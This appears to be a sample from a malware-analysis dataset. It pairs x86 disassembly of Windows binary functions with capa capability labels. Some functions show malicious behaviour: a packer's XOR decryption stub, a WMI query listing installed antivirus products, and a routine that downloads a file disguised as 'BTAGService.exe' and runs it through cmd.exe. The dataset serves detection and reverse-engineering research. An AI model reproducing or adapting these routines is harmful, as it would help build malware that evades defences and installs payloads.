joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407da7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4c0158]
jne 0x407db1
repz ret
jmp fcn.0040e6ec

Function at 0x40e8d8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040a85f
and dword [ebp - 4], 0
cmp dword [0x4c7dbc], 0
mov ebx, eax
jne 0x40e989
push 0x401c20
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40ea3a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401c14
push edi
call esi
test eax, eax
je 0x40ea3a
push eax
call fcn.0040a7ed
mov dword [esp], 0x401c04
push edi
mov dword [0x4c7dbc], eax
call esi
push eax
call fcn.0040a7ed
mov dword [esp], 0x401bf0
push edi
mov dword [0x4c7dc0], eax
call esi
push eax
call fcn.0040a7ed
mov dword [esp], 0x401bd4
push edi
mov dword [0x4c7dc4], eax
call esi
push eax
call fcn.0040a7ed
pop ecx
mov dword [0x4c7dcc], eax
test eax, eax
je 0x40e989
push 0x401bbc
push edi
call esi
push eax
call fcn.0040a7ed
pop ecx
mov dword [0x4c7dc8], eax
mov eax, dword [0x4c7dc8]
cmp eax, ebx
je 0x40e9e1
cmp dword [0x4c7dcc], ebx
je 0x40e9e1
push eax
call fcn.0040a868
push dword [0x4c7dcc]
mov esi, eax
call fcn.0040a868
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40e9e1
test edi, edi
je 0x40e9e1
call esi
test eax, eax
je 0x40e9d8
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40e9d8
test byte [ebp - 0xc], 1
jne 0x40e9e1
or dword [ebp + 0x10], 0x200000
jmp 0x40ea1a
mov eax, dword [0x4c7dc0]
cmp eax, ebx
je 0x40ea1a
push eax
call fcn.0040a868
pop ecx
test eax, eax
je 0x40ea1a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40ea1a
mov eax, dword [0x4c7dc4]
cmp eax, ebx
je 0x40ea1a
push eax
call fcn.0040a868
pop ecx
test eax, eax
je 0x40ea1a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4c7dbc]
call fcn.0040a868
pop ecx
test eax, eax
je 0x40ea3a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40ea3c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x6d8d4740
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x38966dca
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x45c0d0
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x45c0fe
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x45c11c
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0045c03a
jmp 0x45c11c
mov eax, dword [esi + 0x14]
test eax, eax
je 0x45c11c
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.0045c03a
test edi, edi
mov eax, edi
jne 0x45c106
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x49453c]
test ecx, ecx
je 0x45c1cf
jmp 0x45c0cf
ret 8

Function at 0x4678f2
Capabilities:
Encode data using xor

Disassembly:
adc dword [edx - 0x5a468a81], 0xffffffe7
pop edx
sub dword [esi - 0x70fd122c], esp
insd dword es:[edi], dx
pushfd
cmp al, 0x40
xor byte [ecx + edx], al
call [ebx - 0x5d]
mov es, word [edi + 0x18a36607]
xchg edi, eax
sbb al, 0xe4
movsb byte es:[edi], byte [esi]
invalid
test eax, esp
or al, 0x4f
push 0x945d8089
xchg ebx, eax
aam 0x35
inc edx
shr bh, 0x76
push eax
xchg ebx, eax
and byte [ebp + eax*2 + 0x14], 0x71
sbb byte [eax], 0x28
push ds
xor ch, bh
push ds
xor edx, dword [ecx + 0x32]
push eax
jno 0x467896
test eax, 0xebe17bb5
sbb byte [edi - 0x39], dl
enter 0x240d, 0xfffffffffffffff3
sal byte [eax - 0x426dd5ed], 1
sal byte [eax - 0x426dd5ed], 1
jns 0x4678fd
adc dh, byte [edi]
outsd dx, dword [esi]
adc al, 9
call 0x3e6f7eaa
push ss
jl 0x4678c3
mov dh, byte [0xad13ac6b]
ror ebp, cl
sahf
test al, 0x5b
shr edi, 0x83
invalid
Function at 0x4019a0
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
push 0x44ae84
push 1
push 0
push 0x44ae94
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push str.rootSecurityCenter2
mov dword [ebp - 4], 0
call edi
mov edx, dword [ebp - 0xc]
lea esi, [ebp - 4]
push esi
push 0
push 0
mov ecx, dword [edx]
push 0
push 0
push 0
push 0
push eax
push edx
call dword [ecx + 0xc]
test eax, eax
js 0x401afb
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [ebp - 4]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
push 0x451838
call edi
push str.SELECT__FROM_AntiVirusProduct
mov esi, eax
call edi
mov edx, dword [ebp - 4]
lea edi, [ebp - 8]
push edi
push 0
push 0x20
push eax
mov dword [ebp - 8], 0
mov ecx, dword [edx]
push esi
push edx
call dword [ecx + 0x50]
test eax, eax
js 0x401ae9
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
test ecx, ecx
je 0x401ae9
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, 0x456998
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
mov eax, dword [ecx]
lea edx, [ebp - 0x10]
push edx
lea edx, [ebp - 0x14]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
cmp dword [ebp - 0x10], 0
je 0x401ae9
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x28]
push 0
push 0
push edx
mov ecx, dword [eax]
push 0
push str.displayName
push eax
call dword [ecx + 0x10]
push 0x1000
push 0
push esi
call fcn.0041fce0
add esp, 0xc
push dword [ebp - 0x20]
push esi
call edi
lea eax, [ebp - 0x28]
push eax
call ebx
mov ecx, dword [ebp - 8]
add esi, 0x1000
test ecx, ecx
jne 0x401a90
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404750
Capabilities:
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x444cf6
push eax
mov eax, 0x2030
mov dword fs:[0], esp
call fcn.0041e560
push ebx
push esi
push edi
lea eax, [ebp - 0x2c]
push eax
push 0
push 0
push 0x4462c0
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
push 0x2000
lea eax, [ebp - 0x2038]
push 0
push eax
call fcn.0041fce0
add esp, 0xc
lea eax, [ebp - 0x2038]
push dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x2038]
push 0x4517ec
push eax
call esi
push str.BTAGService.exe
lea eax, [ebp - 0x2038]
push eax
call esi
mov ecx, dword [0x45cdac]
lea ecx, [ecx + 0x3ec]
call fcn.00401530
push 0
mov ebx, eax
lea eax, [ebp - 0x2038]
push 0
push eax
push ebx
push 0
mov dword [ebp - 0x30], ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x404944
lea eax, [ebp - 0x2038]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 0x40]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x2038]
mov dword [ebp - 0x34], eax
push ecx
push str._k___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword fs:[0x2c]
add esp, 0xc
mov dword [ebp - 0x1c], 0x1124595c
mov dword [ebp - 0x18], 0x4c87cac1
mov dword [ebp - 0x14], 0x1835446c
mov ecx, dword [eax]
mov word [ebp - 0x10], 0x8ffa
mov eax, dword [ecx + 0x2b8]
lea esi, [ecx + 0xd8]
test al, 1
jne 0x4048ba
or eax, 1
mov dword [ecx + 0x2b8], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0xe], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x4048a6
cmp ecx, 0xe
jb 0x404890
push 0x445750
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [esi + 0xe], 0
je 0x404900
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov ebx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
nop
mov ecx, edi
mov eax, 0x7d41310f
and ecx, 7
mov edx, 0x29ff8fad
shl ecx, 3
call fcn.00444580
xor byte [edi + esi], al
add edi, 1
adc ebx, 0
test ebx, ebx
jne 0x4048f9
cmp edi, 0xe
jb 0x4048d0
mov ebx, dword [ebp - 0x30]
mov byte [esi + 0xe], 0
push str.Shell32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 6
push 0
mov esi, eax
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push dword [ebp - 0x34]
push str.cmd.exe
push str.open
push 0
call esi
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [0x45ada0], 1
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40cb80
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor edx, edx
push edi
xor edi, edi
bts edi, eax
cmp eax, 0x20
cmovae edx, edi
xor edi, edx
cmp eax, 0x40
mov eax, dword [esp + 0xc]
cmovae edx, edi
test eax, eax
js 0x40cbcc
push ebx
push esi
lea ebx, [esp + 0x14]
xor ecx, ecx
lea ebx, [ebx + 4]
bts ecx, eax
xor esi, esi
cmp eax, 0x20
cmovae esi, ecx
xor ecx, esi
cmp eax, 0x40
mov eax, dword [ebx]
cmovae esi, ecx
or edi, ecx
or edx, esi
test eax, eax
jns 0x40cba8
pop esi
pop ebx
mov eax, edi
pop edi
ret

Function at 0x411520
Capabilities:
Hash data using djb2

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
xor esi, esi
mov ecx, 0x1505
test edi, edi
jne 0x411536
pop edi
xor eax, eax
pop esi
ret
push ebx
mov bl, byte [edi]
test bl, bl
je 0x411560
nop dword [eax]
mov eax, ecx
lea edi, [edi + 1]
mov edx, esi
shld esi, ecx, 5
shl ecx, 5
add ecx, eax
movzx eax, bl
mov bl, byte [edi]
adc esi, edx
cdq
add ecx, eax
adc esi, edx
test bl, bl
jne 0x411540
pop ebx
pop edi
mov eax, ecx
pop esi
ret

Function at 0x414f00
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
sub esp, 0xc
push ebp
mov ebp, dword [esp + 0x24]
xorps xmm0, xmm0
movlpd qword [esp + 8], xmm0
push esi
mov esi, dword [esp + 0x18]
test ebp, ebp
jb 0x41504b
push ebx
mov ebx, dword [esp + 0x28]
ja 0x414f2d
test ebx, ebx
je 0x41504a
mov edx, dword [esp + 0x20]
push edi
test edx, edx
je 0x414fd8
mov eax, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov dword [esp + 0x2c], eax
movzx eax, word [esi + 8]
or eax, 2
mov ecx, eax
xor ecx, 1
imul ecx, eax
mov eax, dword [esp + 0x28]
push 1
shr ecx, 8
xor cl, byte [edi + eax]
lea eax, [esp + 0x14]
push eax
mov byte [edi + edx], cl
mov eax, dword [esi]
not eax
mov byte [esp + 0x18], cl
push eax
call fcn.00416cb0
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.00416cb0
mov edx, dword [esp + 0x3c]
not eax
add esp, 0x18
mov dword [esi + 8], eax
mov eax, dword [esp + 0x2c]
add edi, 1
adc eax, 0
mov dword [esp + 0x2c], eax
cmp eax, ebp
jb 0x414f46
ja 0x415049
cmp edi, ebx
jb 0x414f46
pop edi
pop ebx
pop esi
pop ebp
add esp, 0xc
ret
movlpd qword [esp + 0x14], xmm0
mov ebp, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x28]
push 1
mov al, byte [edi + eax]
mov byte [esp + 0x14], al
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
not eax
push eax
call fcn.00416cb0
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.00416cb0
add esp, 0x18
not eax
add edi, 1
mov dword [esi + 8], eax
adc ebp, 0
cmp ebp, dword [esp + 0x30]
jb 0x414fe6
ja 0x415049
cmp edi, ebx
jb 0x414fe6
pop edi
pop ebx
pop esi
pop ebp
add esp, 0xc
ret
Function at 0x415060
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
sub esp, 0x10
cmp dword [esp + 0x24], 0
xorps xmm0, xmm0
push esi
mov esi, dword [esp + 0x18]
movlpd qword [esp + 8], xmm0
jb 0x4151cc
push ebp
mov ebp, dword [esp + 0x28]
ja 0x41508b
test ebp, ebp
je 0x4151cb
cmp dword [esp + 0x20], 0
push ebx
push edi
je 0x415158
mov eax, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x14], eax
nop dword [eax + eax]
mov ecx, dword [esp + 0x2c]
push 1
mov bl, byte [eax + ecx]
mov ax, word [esi + 8]
or ax, 2
mov byte [esp + 0x14], bl
movzx edi, ax
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
not eax
push eax
call fcn.00416cb0
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.00416cb0
mov edx, dword [esp + 0x40]
not eax
mov dword [esi + 8], eax
add esp, 0x18
mov eax, edi
mov ecx, edi
xor ecx, 1
imul ecx, eax
mov eax, dword [esp + 0x14]
shr ecx, 8
xor cl, bl
mov byte [eax + edx], cl
add eax, 1
mov ecx, dword [esp + 0x1c]
adc ecx, 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], ecx
cmp ecx, dword [esp + 0x34]
jb 0x4150b0
ja 0x4151c9
cmp eax, ebp
jb 0x4150b0
pop edi
pop ebx
pop ebp
pop esi
add esp, 0x10
ret
movlpd qword [esp + 0x14], xmm0
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x2c]
push 1
mov al, byte [edi + eax]
mov byte [esp + 0x14], al
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
not eax
push eax
call fcn.00416cb0
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.00416cb0
add esp, 0x18
not eax
add edi, 1
mov dword [esi + 8], eax
adc ebx, 0
cmp ebx, dword [esp + 0x34]
jb 0x415166
ja 0x4151c9
cmp edi, ebp
jb 0x415166
pop edi
pop ebx
pop ebp
pop esi
add esp, 0x10
ret

Function at 0x415390
Capabilities:
Hash data via bcrypt

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x4153bf
cmp dword [esp + 0x10], 0
ja 0x4153bf
mov ecx, dword [esp + 0xc]
jb 0x4153aa
cmp ecx, 0xffffffff
ja 0x4153bf
push 0
push ecx
push dword [esp + 0x10]
push dword [eax + 4]
call sub.bcrypt.dll_BCryptHashData
shr eax, 0x1f
xor al, 1
ret
xor al, al
ret

Function at 0x415640
Capabilities:
Generate random numbers via winapi

Disassembly:
movzx eax, word [esp + 8]
push 2
push eax
push dword [esp + 0xc]
push 0
call sub.bcrypt.dll_BCryptGenRandom
shr eax, 0x1f
xor al, 1
ret
Function at 0x418c20
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x418da5
cmp dword [esi + 0x20], 0
je 0x418da5
cmp dword [esi + 0x24], 0
je 0x418da5
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x418da5
cmp dword [eax], esi
jne 0x418da5
mov eax, dword [eax + 4]
cmp eax, 0x2a
je 0x418c85
cmp eax, 0x39
je 0x418c85
cmp eax, 0x45
je 0x418c85
cmp eax, 0x49
je 0x418c85
cmp eax, 0x5b
je 0x418c85
cmp eax, 0x67
je 0x418c85
cmp eax, 0x71
je 0x418c85
cmp eax, 0x29a
jne 0x418da5
push edi
mov edi, dword [esi + 0x1c]
mov dword [esi + 0x14], 0
mov dword [esi + 8], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x2c], 2
mov ecx, dword [edi + 0x18]
mov eax, dword [edi + 8]
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], eax
test ecx, ecx
jns 0x418cbe
neg ecx
mov dword [edi + 0x18], ecx
cmp ecx, 2
mov eax, 0x2a
push 0
mov edx, 0x39
cmove eax, edx
push 0
mov dword [edi + 4], eax
push 0
jne 0x418ce0
call fcn.00416cb0
jmp 0x418ce5
call fcn.0041b470
add esp, 0xc
mov dword [esi + 0x30], eax
mov dword [edi + 0x28], 0xfffffffe
push edi
call fcn.0041bc30
mov esi, dword [esi + 0x1c]
xor edx, edx
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x4c]
add eax, eax
mov dword [esi + 0x3c], eax
mov eax, dword [esi + 0x44]
mov word [eax + ecx*2 - 2], dx
mov eax, dword [esi + 0x4c]
lea eax, [eax*2 - 2]
push eax
push edx
push dword [esi + 0x44]
call fcn.0041fce0
mov eax, dword [esi + 0x84]
add esp, 0x10
lea ecx, [eax + eax*2]
movzx eax, word [ecx*4 + 0x449722]
mov dword [esi + 0x80], eax
movzx eax, word [ecx*4 + 0x449720]
mov dword [esi + 0x8c], eax
movzx eax, word [ecx*4 + 0x449724]
mov dword [esi + 0x90], eax
xor eax, eax
movzx ecx, word [ecx*4 + 0x449726]
pop edi
mov dword [esi + 0x7c], ecx
mov dword [esi + 0x6c], 0
mov dword [esi + 0x5c], 0
mov dword [esi + 0x74], 0
mov dword [esi + 0x16b4], 0
mov dword [esi + 0x78], 2
mov dword [esi + 0x60], 2
mov dword [esi + 0x68], 0
mov dword [esi + 0x48], 0
pop esi
ret
mov eax, 0xfffffffe
pop esi
ret
Function at 0x41ece8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41ed27
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41ed27
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41ed27
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41ed27
cmp dword [ecx + 0x74], 0xe
jbe 0x41ed27
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x42f522
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44d768
push 0x44d760
push str.FlsAlloc
push 0x1f
call fcn.0042f3e1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42f556
push dword [ebp + 8]
mov ecx, esi
call dword [0x446250]
call esi
jmp 0x42f55c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x42f5a0
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44d778
push 0x44d770
push str.FlsGetValue
push 0x21
call fcn.0042f3e1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42f5d7
push dword [ebp + 8]
mov ecx, esi
call dword [0x446250]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x42f5df
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44d780
push 0x44d778
push str.FlsSetValue
push 0x22
call fcn.0042f3e1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42f619
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x446250]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x432351
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x454180]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x43239c
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.004324ec
test al, al
jne 0x432396
sub edx, 2
cmp edx, edi
jne 0x43237c
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x4323be
lea eax, [edi + 2]
cmp edx, eax
je 0x4323be
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0043229d
add esp, 0x10
jmp 0x4324b8
push esi
lea ecx, [ebp - 0x255]
call fcn.004324ec
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x432401
push dword [ebp - 0x25c]
jmp 0x4323ae
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x43243e
cmp word [ebp - 0x226], 0
je 0x43245f
cmp word [ebp - 0x226], ax
jne 0x43243e
cmp word [ebp - 0x224], 0
je 0x43245f
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0043229d
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x4324ab
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x432418
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x432493
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x4324b8
push 0x4320cd
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0042b5d0
add esp, 0x10
jmp 0x432488
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e548
leave
ret

Function at 0x432f8c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x432f9d
pop esi
ret
push ebx
push edi
push esi
call fcn.00432f55
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0042f77e
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x432fc5
push ebx
push esi
push edi
call fcn.0041f570
add esp, 0xc
push 0
call fcn.0042f744
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x433395
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00432fda
Function at 0x43a320
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [eax + 0x38]
mov bl, byte [eax + 0x34]
test esi, esi
jle 0x43a35d
mov edx, dword [eax + 0x260]
push edi
movzx edi, bl
nop word [eax + eax]
mov ecx, edx
shl edx, 8
shr ecx, 0x18
xor ecx, edi
xor edx, dword [ecx*4 + 0x455458]
mov dword [eax + 0x260], edx
sub esi, 1
jne 0x43a340
pop edi
mov ecx, dword [eax + 0x34]
mov byte [ecx + eax + 0x58], 1
mov edx, dword [eax + 0x38]
mov ecx, edx
sub ecx, 1
je 0x43a40c
sub ecx, 1
je 0x43a3f0
sub ecx, 1
je 0x43a3c8
mov byte [edx + eax + 0x54], 1
mov edx, dword [eax + 0x24]
mov ecx, dword [eax + 0x44]
mov byte [edx + ecx], bl
mov edx, dword [eax + 0x44]
inc edx
mov dword [eax + 0x44], edx
mov ecx, dword [eax + 0x24]
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
mov esi, dword [eax + 0x44]
mov dl, byte [eax + 0x38]
mov ecx, dword [eax + 0x24]
sub dl, 4
mov byte [esi + ecx], dl
inc dword [eax + 0x44]
pop esi
pop ebx
ret
mov ecx, dword [eax + 0x44]
mov edx, dword [eax + 0x24]
pop esi
mov byte [edx + ecx], bl
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
inc edx
mov dword [eax + 0x44], edx
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
pop ebx
ret
mov ecx, dword [eax + 0x44]
mov edx, dword [eax + 0x24]
pop esi
mov byte [edx + ecx], bl
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
inc edx
mov dword [eax + 0x44], edx
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
pop ebx
ret
mov ecx, dword [eax + 0x44]
mov edx, dword [eax + 0x24]
pop esi
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
pop ebx
ret